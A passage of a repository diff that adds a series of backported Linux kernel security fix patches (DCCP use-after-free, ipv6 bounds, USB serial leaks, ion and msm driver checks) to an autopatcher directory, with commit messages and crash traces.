Prabhu B +Signed-off-by: Mohit Aggarwal +--- + drivers/char/diag/diag_dci.c | 6 ++---- + drivers/char/diag/diagchar_core.c | 44 +++++++++++++++++++++++++++++++++------ + 2 files changed, 40 insertions(+), 10 deletions(-) + +diff --git a/drivers/char/diag/diag_dci.c b/drivers/char/diag/diag_dci.c +index 2fb2c1f..c5c7b43 100644 +--- a/drivers/char/diag/diag_dci.c ++++ b/drivers/char/diag/diag_dci.c +@@ -1327,6 +1327,7 @@ void diag_update_smd_dci_work_fn(struct work_struct *work) + * which log entries in the cumulative logs that need + * to be updated on the peripheral. + */ ++ mutex_lock(&driver->dci_mutex); + list_for_each_safe(start, temp, &driver->dci_client_list) { + entry = list_entry(start, struct diag_dci_client_tbl, track); + if (entry->client_info.token != DCI_LOCAL_PROC) +@@ -1338,6 +1339,7 @@ void diag_update_smd_dci_work_fn(struct work_struct *work) + client_log_mask_ptr += 514; + } + } ++ mutex_unlock(&driver->dci_mutex); + + mutex_lock(&dci_log_mask_mutex); + /* Update the appropriate dirty bits in the cumulative mask */ +@@ -2985,8 +2987,6 @@ int diag_dci_deinit_client(struct diag_dci_client_tbl *entry) + if (!entry) + return DIAG_DCI_NOT_SUPPORTED; + +- mutex_lock(&driver->dci_mutex); +- + token = entry->client_info.token; + /* + * Remove the entry from the list before freeing the buffers +@@ -3102,8 +3102,6 @@ int diag_dci_deinit_client(struct diag_dci_client_tbl *entry) + } + queue_work(driver->diag_real_time_wq, &driver->diag_real_time_work); + +- mutex_unlock(&driver->dci_mutex); +- + return DIAG_DCI_NO_ERROR; + } + +diff --git a/drivers/char/diag/diagchar_core.c b/drivers/char/diag/diagchar_core.c +index fda5207..c9461d6 100644 +--- a/drivers/char/diag/diagchar_core.c ++++ b/drivers/char/diag/diagchar_core.c +@@ -348,9 +348,11 @@ static int diagchar_close(struct inode *inode, struct file *file) + * This will specially help in case of ungraceful exit of any DCI client + * This call will remove any pending registrations of such client + */ ++ mutex_lock(&driver->dci_mutex); + dci_entry = dci_lookup_client_entry_pid(current->pid); + if (dci_entry) + diag_dci_deinit_client(dci_entry); ++ mutex_unlock(&driver->dci_mutex); + /* If the exiting process is the socket process */ + mutex_lock(&driver->diagchar_mutex); + if (driver->socket_process && +@@ -1261,32 +1263,46 @@ long diagchar_compat_ioctl(struct file *filp, + mutex_unlock(&driver->dci_mutex); + return DIAG_DCI_NOT_SUPPORTED; + } +- mutex_unlock(&driver->dci_mutex); + result = diag_dci_deinit_client(dci_client); ++ mutex_unlock(&driver->dci_mutex); + break; + case DIAG_IOCTL_DCI_SUPPORT: + result = diag_ioctl_dci_support(ioarg); + break; + case DIAG_IOCTL_DCI_HEALTH_STATS: ++ mutex_lock(&driver->dci_mutex); + result = diag_ioctl_dci_health_stats(ioarg); ++ mutex_unlock(&driver->dci_mutex); + break; + case DIAG_IOCTL_DCI_LOG_STATUS: ++ mutex_lock(&driver->dci_mutex); + result = diag_ioctl_dci_log_status(ioarg); ++ mutex_unlock(&driver->dci_mutex); + break; + case DIAG_IOCTL_DCI_EVENT_STATUS: ++ mutex_lock(&driver->dci_mutex); + result = diag_ioctl_dci_event_status(ioarg); ++ mutex_unlock(&driver->dci_mutex); + break; + case DIAG_IOCTL_DCI_CLEAR_LOGS: ++ mutex_lock(&driver->dci_mutex); + if (copy_from_user((void *)&client_id, (void __user *)ioarg, +- sizeof(int))) ++ sizeof(int))) { ++ mutex_unlock(&driver->dci_mutex); + return -EFAULT; ++ } + result = diag_dci_clear_log_mask(client_id); ++ mutex_unlock(&driver->dci_mutex); + break; + case DIAG_IOCTL_DCI_CLEAR_EVENTS: ++ mutex_lock(&driver->dci_mutex); + if (copy_from_user(&client_id, (void __user *)ioarg, +- sizeof(int))) ++ sizeof(int))) { ++ mutex_unlock(&driver->dci_mutex); + return -EFAULT; ++ } + result = diag_dci_clear_event_mask(client_id); ++ mutex_unlock(&driver->dci_mutex); + break; + case DIAG_IOCTL_LSM_DEINIT: + result = diag_ioctl_lsm_deinit(); +@@ -1306,7 +1322,9 @@ long diagchar_compat_ioctl(struct file *filp, + result = 1; + break; + case DIAG_IOCTL_VOTE_REAL_TIME: ++ mutex_lock(&driver->dci_mutex); + result = diag_ioctl_vote_real_time(ioarg); ++ mutex_unlock(&driver->dci_mutex); + break; + case DIAG_IOCTL_GET_REAL_TIME: + result = diag_ioctl_get_real_time(ioarg); +@@ -1364,17 +1382,21 @@ long diagchar_ioctl(struct file *filp, + mutex_unlock(&driver->dci_mutex); + return DIAG_DCI_NOT_SUPPORTED; + } +- mutex_unlock(&driver->dci_mutex); + result = diag_dci_deinit_client(dci_client); ++ mutex_unlock(&driver->dci_mutex); + break; + case DIAG_IOCTL_DCI_SUPPORT: + result = diag_ioctl_dci_support(ioarg); + break; + case DIAG_IOCTL_DCI_HEALTH_STATS: ++ mutex_lock(&driver->dci_mutex); + result = diag_ioctl_dci_health_stats(ioarg); ++ mutex_unlock(&driver->dci_mutex); + break; + case DIAG_IOCTL_DCI_LOG_STATUS: ++ mutex_lock(&driver->dci_mutex); + result = diag_ioctl_dci_log_status(ioarg); ++ mutex_unlock(&driver->dci_mutex); + break; + case DIAG_IOCTL_DCI_EVENT_STATUS: + mutex_lock(&driver->dci_mutex); +@@ -1382,16 +1404,24 @@ long diagchar_ioctl(struct file *filp, + mutex_unlock(&driver->dci_mutex); + break; + case DIAG_IOCTL_DCI_CLEAR_LOGS: ++ mutex_lock(&driver->dci_mutex); + if (copy_from_user((void *)&client_id, (void __user *)ioarg, +- sizeof(int))) ++ sizeof(int))) { ++ mutex_unlock(&driver->dci_mutex); + return -EFAULT; ++ } + result = diag_dci_clear_log_mask(client_id); ++ mutex_unlock(&driver->dci_mutex); + break; + case DIAG_IOCTL_DCI_CLEAR_EVENTS: ++ mutex_lock(&driver->dci_mutex); + if (copy_from_user(&client_id, (void __user *)ioarg, +- sizeof(int))) ++ sizeof(int))) { ++ mutex_unlock(&driver->dci_mutex); + return -EFAULT; ++ } + result = diag_dci_clear_event_mask(client_id); ++ mutex_unlock(&driver->dci_mutex); + break; + case DIAG_IOCTL_LSM_DEINIT: + result = diag_ioctl_lsm_deinit(); +@@ -1411,7 +1441,9 @@ long diagchar_ioctl(struct file *filp, + result = 1; + break; + case DIAG_IOCTL_VOTE_REAL_TIME: ++ mutex_lock(&driver->dci_mutex); + result = diag_ioctl_vote_real_time(ioarg); ++ mutex_unlock(&driver->dci_mutex); + break; + case DIAG_IOCTL_GET_REAL_TIME: + result = diag_ioctl_get_real_time(ioarg); +-- +cgit v1.1 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0390-596f827a9958-PATCH dccp CVE20178824 useafterfree in DCCP code.patch b/recipes-kernel/linux/linux-bass/autopatcher/0390-596f827a9958-PATCH dccp CVE20178824 useafterfree in DCCP code.patch new file mode 100644 index 0000000..a6cce85 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0390-596f827a9958-PATCH dccp CVE20178824 useafterfree in DCCP code.patch @@ -0,0 +1,43 @@ +From 596f827a995830f6c1d4a4d277f0407abbda3184 Mon Sep 17 00:00:00 2001 +From: Mohamed Ghannam +Date: Tue, 5 Dec 2017 20:58:35 +0000 +Subject: [PATCH] dccp: CVE-2017-8824: use-after-free in DCCP code + +commit 69c64866ce072dea1d1e59a0d61e0f66c0dffb76 upstream. + +Whenever the sock object is in DCCP_CLOSED state, +dccp_disconnect() must free dccps_hc_tx_ccid and +dccps_hc_rx_ccid and set to NULL. + +Change-Id: Ia0117886c40d53cefe76abe044a33ad5657c9508 +Signed-off-by: Mohamed Ghannam +Reviewed-by: Eric Dumazet +Signed-off-by: David S. Miller +Signed-off-by: Ben Hutchings +--- + net/dccp/proto.c | 5 +++++ + 1 file changed, 5 insertions(+) + +diff --git a/net/dccp/proto.c b/net/dccp/proto.c +index cb55fb91240..adee085bde8 100644 +--- a/net/dccp/proto.c ++++ b/net/dccp/proto.c +@@ -252,6 +252,7 @@ int dccp_disconnect(struct sock *sk, int flags) + { + struct inet_connection_sock *icsk = inet_csk(sk); + struct inet_sock *inet = inet_sk(sk); ++ struct dccp_sock *dp = dccp_sk(sk); + int err = 0; + const int old_state = sk->sk_state; + +@@ -271,6 +272,10 @@ int dccp_disconnect(struct sock *sk, int flags) + sk->sk_err = ECONNRESET; + + dccp_clear_xmit_timers(sk); ++ ccid_hc_rx_delete(dp->dccps_hc_rx_ccid, sk); ++ ccid_hc_tx_delete(dp->dccps_hc_tx_ccid, sk); ++ dp->dccps_hc_rx_ccid = NULL; ++ dp->dccps_hc_tx_ccid = NULL; + + __skb_queue_purge(&sk->sk_receive_queue); + __skb_queue_purge(&sk->sk_write_queue); diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0391-1853870b216d-PATCH BACKPORT dccptcp do not inherit mclist from parent.patch b/recipes-kernel/linux/linux-bass/autopatcher/0391-1853870b216d-PATCH BACKPORT dccptcp do not inherit mclist from parent.patch new file mode 100644 index 0000000..adc039a --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0391-1853870b216d-PATCH BACKPORT dccptcp do not inherit mclist from parent.patch @@ -0,0 +1,42 @@ +From 1853870b216d3446efd39190a8ff0006c54dfd46 Mon Sep 17 00:00:00 2001 +From: Eric Dumazet +Date: Tue, 9 May 2017 06:29:19 -0700 +Subject: [PATCH] BACKPORT: dccp/tcp: do not inherit mc_list from parent + +syzkaller found a way to trigger double frees from ip_mc_drop_socket() + +It turns out that leave a copy of parent mc_list at accept() time, +which is very bad. + +Very similar to commit 8b485ce69876 ("tcp: do not inherit +fastopen_req from parent") + +Initial report from Pray3r, completed by Andrey one. +Thanks a lot to them ! + +Signed-off-by: Eric Dumazet +Reported-by: Pray3r +Reported-by: Andrey Konovalov +Tested-by: Andrey Konovalov +Signed-off-by: David S. Miller +Signed-off-by: Roberto Pereira +(cherry picked from commit 657831ffc38e30092a2d5f03d385d710eb88b09a) +Bug:38413975 +Change-Id: Icf89ad025cb8225e806e52c573d68533912111ad +--- + net/ipv4/inet_connection_sock.c | 2 ++ + 1 file changed, 2 insertions(+) + +diff --git a/net/ipv4/inet_connection_sock.c b/net/ipv4/inet_connection_sock.c +index 64198a381ddca..008b52bc99a3d 100644 +--- a/net/ipv4/inet_connection_sock.c ++++ b/net/ipv4/inet_connection_sock.c +@@ -697,6 +697,8 @@ struct sock *inet_csk_clone_lock(const struct sock *sk, + inet_sk(newsk)->inet_sport = inet_rsk(req)->loc_port; + newsk->sk_write_space = sk_stream_write_space; + ++ inet_sk(newsk)->mc_list = NULL; ++ + newsk->sk_mark = inet_rsk(req)->ir_mark; + + newicsk->icsk_retransmits = 0; diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0392-cb32438b77c3-USB serial ioti fix information leak in completion handler.patch b/recipes-kernel/linux/linux-bass/autopatcher/0392-cb32438b77c3-USB serial ioti fix information leak in completion handler.patch new file mode 100644 index 0000000..cda5d7d --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0392-cb32438b77c3-USB serial ioti fix information leak in completion handler.patch @@ -0,0 +1,38 @@ +From cb32438b77c3cf330c9e830b45a2ceddc6d0eb14 Mon Sep 17 00:00:00 2001 +From: Johan Hovold +Date: Mon, 6 Mar 2017 17:36:40 +0100 +Subject: USB: serial: io_ti: fix information leak in completion handler + +commit 654b404f2a222f918af9b0cd18ad469d0c941a8e upstream. + +Add missing sanity check to the bulk-in completion handler to avoid an +integer underflow that can be triggered by a malicious device. + +This avoids leaking 128 kB of memory content from after the URB transfer +buffer to user space. + +Fixes: 8c209e6782ca ("USB: make actual_length in struct urb field u32") +Fixes: 1da177e4c3f4 ("Linux-2.6.12-rc2") +Signed-off-by: Johan Hovold +Signed-off-by: Jiri Slaby +Signed-off-by: Willy Tarreau +--- + drivers/usb/serial/io_ti.c | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +diff --git a/drivers/usb/serial/io_ti.c b/drivers/usb/serial/io_ti.c +index e2dc182150fb..20814d528c15 100644 +--- a/drivers/usb/serial/io_ti.c ++++ b/drivers/usb/serial/io_ti.c +@@ -1661,7 +1661,7 @@ static void edge_bulk_in_callback(struct urb *urb) + + port_number = edge_port->port->number - edge_port->port->serial->minor; + +- if (edge_port->lsr_event) { ++ if (urb->actual_length > 0 && edge_port->lsr_event) { + edge_port->lsr_event = 0; + dev_dbg(dev, "%s ===== Port %u LSR Status = %02x, Data = %02x ======\n", + __func__, port_number, edge_port->lsr_mask, *data); +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0393-50b607408150-USB serial omninet fix reference leaks at open.patch b/recipes-kernel/linux/linux-bass/autopatcher/0393-50b607408150-USB serial omninet fix reference leaks at open.patch new file mode 100644 index 0000000..c0bb58d --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0393-50b607408150-USB serial omninet fix reference leaks at open.patch @@ -0,0 +1,39 @@ +From 50b607408150dc047a5c5b81beb8b2ec2c025247 Mon Sep 17 00:00:00 2001 +From: Johan Hovold +Date: Mon, 6 Mar 2017 17:36:38 +0100 +Subject: USB: serial: omninet: fix reference leaks at open + +commit 30572418b445d85fcfe6c8fe84c947d2606767d8 upstream. + +This driver needlessly took another reference to the tty on open, a +reference which was then never released on close. This lead to not just +a leak of the tty, but also a driver reference leak that prevented the +driver from being unloaded after a port had once been opened. + +Fixes: 4a90f09b20f4 ("tty: usb-serial krefs") +Signed-off-by: Johan Hovold +Signed-off-by: Willy Tarreau +--- + drivers/usb/serial/omninet.c | 6 ------ + 1 file changed, 6 deletions(-) + +diff --git a/drivers/usb/serial/omninet.c b/drivers/usb/serial/omninet.c +index 24720f656387..8028e5ffe80d 100644 +--- a/drivers/usb/serial/omninet.c ++++ b/drivers/usb/serial/omninet.c +@@ -143,12 +143,6 @@ static int omninet_port_remove(struct usb_serial_port *port) + + static int omninet_open(struct tty_struct *tty, struct usb_serial_port *port) + { +- struct usb_serial *serial = port->serial; +- struct usb_serial_port *wport; +- +- wport = serial->port[1]; +- tty_port_tty_set(&wport->port, tty); +- + return usb_serial_generic_open(tty, port); + } + +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0394.diff b/recipes-kernel/linux/linux-bass/autopatcher/0394.diff new file mode 100644 index 0000000..656845d --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0394.diff @@ -0,0 +1,14 @@ +diff --git a/net/sctp/ipv6.c b/net/sctp/ipv6.c +index 391a245..4423e82 100644 +--- a/net/sctp/ipv6.c ++++ b/net/sctp/ipv6.c +@@ -673,6 +673,9 @@ + newnp = inet6_sk(newsk); + + memcpy(newnp, np, sizeof(struct ipv6_pinfo)); ++ newnp->ipv6_mc_list = NULL; ++ newnp->ipv6_ac_list = NULL; ++ newnp->ipv6_fl_list = NULL; + + /* Initialize sk's sport, dport, rcv_saddr and daddr for getsockname() + * and getpeername(). diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0395.diff b/recipes-kernel/linux/linux-bass/autopatcher/0395.diff new file mode 100644 index 0000000..047bde9 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0395.diff @@ -0,0 +1,45 @@ +diff --git a/net/dccp/ipv6.c b/net/dccp/ipv6.c +index b599a73..f757966 100644 +--- a/net/dccp/ipv6.c ++++ b/net/dccp/ipv6.c +@@ -482,6 +482,9 @@ + newsk->sk_backlog_rcv = dccp_v4_do_rcv; + newnp->pktoptions = NULL; + newnp->opt = NULL; ++ newnp->ipv6_mc_list = NULL; ++ newnp->ipv6_ac_list = NULL; ++ newnp->ipv6_fl_list = NULL; + newnp->mcast_oif = inet6_iif(skb); + newnp->mcast_hops = ipv6_hdr(skb)->hop_limit; + +@@ -557,6 +560,10 @@ + /* Clone RX bits */ + newnp->rxopt.all = np->rxopt.all; + ++ newnp->ipv6_mc_list = NULL; ++ newnp->ipv6_ac_list = NULL; ++ newnp->ipv6_fl_list = NULL; ++ + /* Clone pktoptions received with SYN */ + newnp->pktoptions = NULL; + if (ireq6->pktopts != NULL) { +diff --git a/net/ipv6/tcp_ipv6.c b/net/ipv6/tcp_ipv6.c +index 7adad90..a36d2f2 100644 +--- a/net/ipv6/tcp_ipv6.c ++++ b/net/ipv6/tcp_ipv6.c +@@ -1137,6 +1137,7 @@ + newtp->af_specific = &tcp_sock_ipv6_mapped_specific; + #endif + ++ newnp->ipv6_mc_list = NULL; + newnp->ipv6_ac_list = NULL; + newnp->ipv6_fl_list = NULL; + newnp->pktoptions = NULL; +@@ -1204,6 +1205,7 @@ + First: no IPv4 options. + */ + newinet->inet_opt = NULL; ++ newnp->ipv6_mc_list = NULL; + newnp->ipv6_ac_list = NULL; + newnp->ipv6_fl_list = NULL; + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0396-232cd35d0804-ipv6 fix out of bound writes in ip6appenddata.patch b/recipes-kernel/linux/linux-bass/autopatcher/0396-232cd35d0804-ipv6 fix out of bound writes in ip6appenddata.patch new file mode 100644 index 0000000..8fb3fa5 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0396-232cd35d0804-ipv6 fix out of bound writes in ip6appenddata.patch @@ -0,0 +1,66 @@ +From 232cd35d0804cc241eb887bb8d4d9b3b9881c64a Mon Sep 17 00:00:00 2001 +From: Eric Dumazet +Date: Fri, 19 May 2017 14:17:48 -0700 +Subject: ipv6: fix out of bound writes in __ip6_append_data() + +Andrey Konovalov and idaifish@gmail.com reported crashes caused by +one skb shared_info being overwritten from __ip6_append_data() + +Andrey program lead to following state : + +copy -4200 datalen 2000 fraglen 2040 +maxfraglen 2040 alloclen 2048 transhdrlen 0 offset 0 fraggap 6200 + +The skb_copy_and_csum_bits(skb_prev, maxfraglen, data + transhdrlen, +fraggap, 0); is overwriting skb->head and skb_shared_info + +Since we apparently detect this rare condition too late, move the +code earlier to even avoid allocating skb and risking crashes. + +Once again, many thanks to Andrey and syzkaller team. + +Signed-off-by: Eric Dumazet +Reported-by: Andrey Konovalov +Tested-by: Andrey Konovalov +Reported-by: +Signed-off-by: David S. Miller +--- + net/ipv6/ip6_output.c | 15 ++++++++------- + 1 file changed, 8 insertions(+), 7 deletions(-) + +diff --git a/net/ipv6/ip6_output.c b/net/ipv6/ip6_output.c +index d4a31becbd25..bf8a58a1c32d 100644 +--- a/net/ipv6/ip6_output.c ++++ b/net/ipv6/ip6_output.c +@@ -1466,6 +1466,11 @@ alloc_new_skb: + */ + alloclen += sizeof(struct frag_hdr); + ++ copy = datalen - transhdrlen - fraggap; ++ if (copy < 0) { ++ err = -EINVAL; ++ goto error; ++ } + if (transhdrlen) { + skb = sock_alloc_send_skb(sk, + alloclen + hh_len, +@@ -1515,13 +1520,9 @@ alloc_new_skb: + data += fraggap; + pskb_trim_unique(skb_prev, maxfraglen); + } +- copy = datalen - transhdrlen - fraggap; +- +- if (copy < 0) { +- err = -EINVAL; +- kfree_skb(skb); +- goto error; +- } else if (copy > 0 && getfrag(from, data + transhdrlen, offset, copy, fraggap, skb) < 0) { ++ if (copy > 0 && ++ getfrag(from, data + transhdrlen, offset, ++ copy, fraggap, skb) < 0) { + err = -EFAULT; + kfree_skb(skb); + goto error; +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0397-d3d636627c8b-PATCH fqcrndis Check config or cdev is NULL in before accessing.patch b/recipes-kernel/linux/linux-bass/autopatcher/0397-d3d636627c8b-PATCH fqcrndis Check config or cdev is NULL in before accessing.patch new file mode 100644 index 0000000..e18033b --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0397-d3d636627c8b-PATCH fqcrndis Check config or cdev is NULL in before accessing.patch @@ -0,0 +1,38 @@ +From d3d636627c8bb57a64bfadcc5d282c35d152f563 Mon Sep 17 00:00:00 2001 +From: Mayank Rana +Date: Thu, 28 Aug 2014 15:11:44 -0700 +Subject: [PATCH] f_qc_rndis: Check config or cdev is NULL in before accessing + +RNDIS control path completion handlers are getting called during +disconnect as part of composition switch and this is leading to a +crash. Avoid this crash, by checking, if cdev is not NULL before +accessing. + +CRs-Fixed: 717035 +Bug: 35136547 +Change-Id: Id8748f963298129a403ffd6e4413476013315061 +Signed-off-by: Mayank Rana +--- + drivers/usb/gadget/f_qc_rndis.c | 9 ++++++++- + 1 file changed, 8 insertions(+), 1 deletion(-) + +diff --git a/drivers/usb/gadget/f_qc_rndis.c b/drivers/usb/gadget/f_qc_rndis.c +index 3bccfe8fc5a76..dfa3dd6ed18dd 100644 +--- a/drivers/usb/gadget/f_qc_rndis.c ++++ b/drivers/usb/gadget/f_qc_rndis.c +@@ -552,7 +552,14 @@ static void rndis_qc_response_complete(struct usb_ep *ep, + { + struct f_rndis_qc *rndis = req->context; + int status = req->status; +- struct usb_composite_dev *cdev = rndis->port.func.config->cdev; ++ struct usb_composite_dev *cdev; ++ ++ if (!rndis->port.func.config || !rndis->port.func.config->cdev) { ++ pr_err("%s(): cdev or config is NULL.\n", __func__); ++ return; ++ } else { ++ cdev = rndis->port.func.config->cdev; ++ } + + /* after TX: + * - USB_CDC_GET_ENCAPSULATED_RESPONSE (ep0/control) diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0398-c74dbab508c7-msmcamera correct stats query out of boundary.patch b/recipes-kernel/linux/linux-bass/autopatcher/0398-c74dbab508c7-msmcamera correct stats query out of boundary.patch new file mode 100644 index 0000000..ef6036d --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0398-c74dbab508c7-msmcamera correct stats query out of boundary.patch @@ -0,0 +1,30 @@ +From c74dbab508c7c07d8e2cf8230cc78bff4b710272 Mon Sep 17 00:00:00 2001 +From: Fei Zhang +Date: Wed, 17 May 2017 15:33:02 +0800 +Subject: msm:camera: correct stats query out of boundary + +fix one potential out of boundary query of stats info. + +Bug: 36264696 +Change-Id: I13e4bf8802fcce529f9268c272e4727619d5ad8f +Signed-off-by: Fei Zhang +--- + drivers/media/platform/msm/camera_v2/isp/msm_isp_stats_util.c | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +diff --git a/drivers/media/platform/msm/camera_v2/isp/msm_isp_stats_util.c b/drivers/media/platform/msm/camera_v2/isp/msm_isp_stats_util.c +index a0eed95..82da3e0 100644 +--- a/drivers/media/platform/msm/camera_v2/isp/msm_isp_stats_util.c ++++ b/drivers/media/platform/msm/camera_v2/isp/msm_isp_stats_util.c +@@ -803,7 +803,7 @@ int msm_isp_update_stats_stream(struct vfe_device *vfe_dev, void *arg) + update_info = &update_cmd->update_info[i]; + /*check array reference bounds*/ + if (STATS_IDX(update_info->stream_handle) +- > vfe_dev->hw_info->stats_hw_info->num_stats_type) { ++ >= vfe_dev->hw_info->stats_hw_info->num_stats_type) { + pr_err("%s: stats idx %d out of bound!", __func__, + STATS_IDX(update_info->stream_handle)); + return -EINVAL; +-- +cgit v1.1 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0399-5328a92fa26e-ion Fix unprotected userspace access.patch b/recipes-kernel/linux/linux-bass/autopatcher/0399-5328a92fa26e-ion Fix unprotected userspace access.patch new file mode 100644 index 0000000..e613bef --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0399-5328a92fa26e-ion Fix unprotected userspace access.patch @@ -0,0 +1,69 @@ +From 5328a92fa26eabe2ba259b1d813f9de488efc9ec Mon Sep 17 00:00:00 2001 +From: "Se Wang (Patrick) Oh" +Date: Mon, 29 Jun 2015 11:43:39 -0700 +Subject: ion: Fix unprotected userspace access + +After enabling KASan, unprotected userspace access causes +a PTE translation fault as it can covers only kernel memory +region. Following is the crash error for the reference. + +Unable to handle kernel paging request at virtual address dfffff901ff64b84 +pgd = ffffffc083266000 +[dfffff901ff64b84] *pgd=0000000000000000, *pud=0000000000000000 +Internal error: Oops: 96000004 [#1] PREEMPT SMP +Modules linked in: +CPU: 1 PID: 8527 Comm: iveaudiolatency Tainted: G W 3.18.0-g5a4a5d5-07255-g8e80921-dirty #21 +Hardware name: Qualcomm Technologies, Inc. MSM 8996 v2 + PMI8994 MTP (DT) +task: ffffffc02bfeb600 ti: ffffffc083378000 task.ti: ffffffc083378000 +PC is at compat_msm_ion_ioctl+0x23c/0x614 +LR is at compat_msm_ion_ioctl+0x1d8/0x614 +pc : [] lr : [] pstate: 80000145 +sp : ffffffc08337faf0 +x29: ffffffc08337faf0 x28: 0000000000000000 +x27: ffffffc083378000 x26: 00000000ffb25c20 +x25: 00000000e2fa6000 x24: 0000000000000000 +x23: 00000000ffb25c18 x22: 0000000000000000 +x21: ffffffc08fcaa640 x20: 00000000c0144d00 +x19: 00000000ffb25c74 x18: 0000000000000000 +x17: 0000000000000000 x16: ffffffc000385a88 +x15: 0000000000000000 x14: 00000000f73517c9 +x13: 00000000ffb25c30 x12: 0000000000000001 +x11: 00000000ffffffff x10: ffffff881066ff3a +x9 : 1ffffff81066ff3a x8 : dfffff9000000000 +x7 : 0000000000000036 x6 : ffffffc08337f9d4 +x5 : 0000000000000003 x4 : 00000000ffb25c30 +x3 : ffffffc0012bd334 x2 : 0000000000000001 +x1 : 000000001ff64b84 x0 : dfffff9000000000 + +Process iveaudiolatency (pid: 8527, stack limit = 0xffffffc083378058) +Call trace: +[] compat_msm_ion_ioctl+0x23c/0x614 +[] ion_ioctl+0x4dc/0x680 +[] compat_ion_ioctl+0xb98/0xbc0 +[] compat_SyS_ioctl+0x288/0x2048 +Code: 910022fa d2dff200 d343ff41 f2fbffe0 (38e06820) +---[ end trace 490ef1c3bde7b96c ]--- +coresight-tmc 3028000.tmc: TMC aborted + +Change-Id: I7595bbf5f311182d40f7158654df56dc8bcf672a +Signed-off-by: Se Wang (Patrick) Oh +--- + drivers/staging/android/ion/msm/compat_msm_ion.c | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +diff --git a/drivers/staging/android/ion/msm/compat_msm_ion.c b/drivers/staging/android/ion/msm/compat_msm_ion.c +index c34b3a7..ddb9fc7 100644 +--- a/drivers/staging/android/ion/msm/compat_msm_ion.c ++++ b/drivers/staging/android/ion/msm/compat_msm_ion.c +@@ -58,7 +58,7 @@ static int compat_get_ion_flush_data( + err |= put_user(i, &data->fd); + err |= get_user(u, &data32->vaddr); + /* upper bits won't get set, zero them */ +- data->vaddr = NULL; ++ err |= put_user(NULL, &data->vaddr); + err |= put_user(u, (compat_uptr_t *)&data->vaddr); + err |= get_user(l, &data32->offset); + err |= put_user(l, &data->offset); +-- +cgit v1.1 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0400-5479a3c164c8-mm Fix incorrect type conversion for size during dma allocation.patch b/recipes-kernel/linux/linux-bass/autopatcher/0400-5479a3c164c8-mm Fix incorrect type conversion for size during dma allocation.patch new file mode 100644 index 0000000..d34ee8d --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0400-5479a3c164c8-mm Fix incorrect type conversion for size during dma allocation.patch @@ -0,0 +1,79 @@ +From 5479a3c164c8762b5bf91c5fae452882366adb6a Mon Sep 17 00:00:00 2001 +From: Maggie White +Date: Wed, 5 Jul 2017 16:47:15 -0700 +Subject: mm: Fix incorrect type conversion for size during dma allocation + +This was found during userspace fuzzing test when a large size +allocation is made from ion + +[] show_stack+0x10/0x1c +[] dump_stack+0x74/0xc8 +[] kasan_report_error+0x2b0/0x408 +[] kasan_report+0x34/0x40 +[] __asan_storeN+0x15c/0x168 +[] memset+0x20/0x44 +[] __dma_alloc_coherent+0x114/0x18c +[] __dma_alloc_noncoherent+0xbc/0x19c +[] ion_cma_allocate+0x178/0x2f0 +[] ion_secure_cma_allocate+0xdc/0x190 +[] ion_alloc+0x264/0xb88 +[] ion_ioctl+0x1f4/0x480 +[] do_vfs_ioctl+0x67c/0x764 +[] SyS_ioctl+0x58/0x8c + +Bug: 38195738 +Signed-off-by: Rohit Vaswani +Signed-off-by: Maggie White +Change-Id: I6b1a0a3eaec10500cd4e73290efad4023bc83da5 +--- + drivers/base/dma-contiguous.c | 4 ++-- + include/linux/dma-contiguous.h | 4 ++-- + 2 files changed, 4 insertions(+), 4 deletions(-) + +diff --git a/drivers/base/dma-contiguous.c b/drivers/base/dma-contiguous.c +index f6e779e..9313bfc1 100644 +--- a/drivers/base/dma-contiguous.c ++++ b/drivers/base/dma-contiguous.c +@@ -589,7 +589,7 @@ static void clear_cma_bitmap(struct cma *cma, unsigned long pfn, int count) + * global one. Requires architecture specific get_dev_cma_area() helper + * function. + */ +-unsigned long dma_alloc_from_contiguous(struct device *dev, int count, ++unsigned long dma_alloc_from_contiguous(struct device *dev, size_t count, + unsigned int align) + { + unsigned long mask, pfn = 0, pageno, start = 0; +@@ -604,7 +604,7 @@ unsigned long dma_alloc_from_contiguous(struct device *dev, int count, + if (align > CONFIG_CMA_ALIGNMENT) + align = CONFIG_CMA_ALIGNMENT; + +- pr_debug("%s(cma %p, count %d, align %d)\n", __func__, (void *)cma, ++ pr_debug("%s(cma %p, count %zu, align %d)\n", __func__, (void *)cma, + count, align); + + if (!count) +diff --git a/include/linux/dma-contiguous.h b/include/linux/dma-contiguous.h +index 9e6fee9..d8d124e 100644 +--- a/include/linux/dma-contiguous.h ++++ b/include/linux/dma-contiguous.h +@@ -117,7 +117,7 @@ static inline int dma_declare_contiguous_reserved(struct device *dev, + return ret; + } + +-unsigned long dma_alloc_from_contiguous(struct device *dev, int count, ++unsigned long dma_alloc_from_contiguous(struct device *dev, size_t count, + unsigned int order); + bool dma_release_from_contiguous(struct device *dev, unsigned long pfn, + int count); +@@ -136,7 +136,7 @@ int dma_declare_contiguous(struct device *dev, phys_addr_t size, + } + + static inline +-unsigned long dma_alloc_from_contiguous(struct device *dev, int count, ++unsigned long 